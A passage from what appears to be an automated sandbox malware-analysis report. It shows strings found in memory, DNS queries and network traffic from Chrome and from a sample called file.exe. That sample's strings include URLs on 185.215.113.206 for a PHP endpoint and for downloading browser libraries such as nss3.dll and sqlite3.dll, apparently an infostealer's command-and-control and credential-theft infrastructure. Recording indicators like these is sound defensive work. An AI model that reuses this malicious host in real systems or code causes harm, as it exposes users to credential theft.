CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000001.00000002.1925666200.00004A30002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0
Source: file.exe, 00000000.00000002.2082345429.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php7
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php:
Source: file.exe, 00000000.00000002.2082345429.00000000011E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpC
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpDAAFIIJDAAAAKFHID
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpFs9
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpI
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpSs
Source: file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpam
Source: file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe
Source: file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phplZs
Source: file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dlll
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllh
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll9
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2082345429.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206JJD
Source: file.exe, 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Q
Source: chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929020227.00004A30007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927571580.00004A300060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927571580.00004A300060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929020227.00004A30007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929020227.00004A30007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929020227.00004A30007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929020227.00004A30007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901J0G
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927571580.00004A300060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901o
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000001.00000002.1929020227.00004A30007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
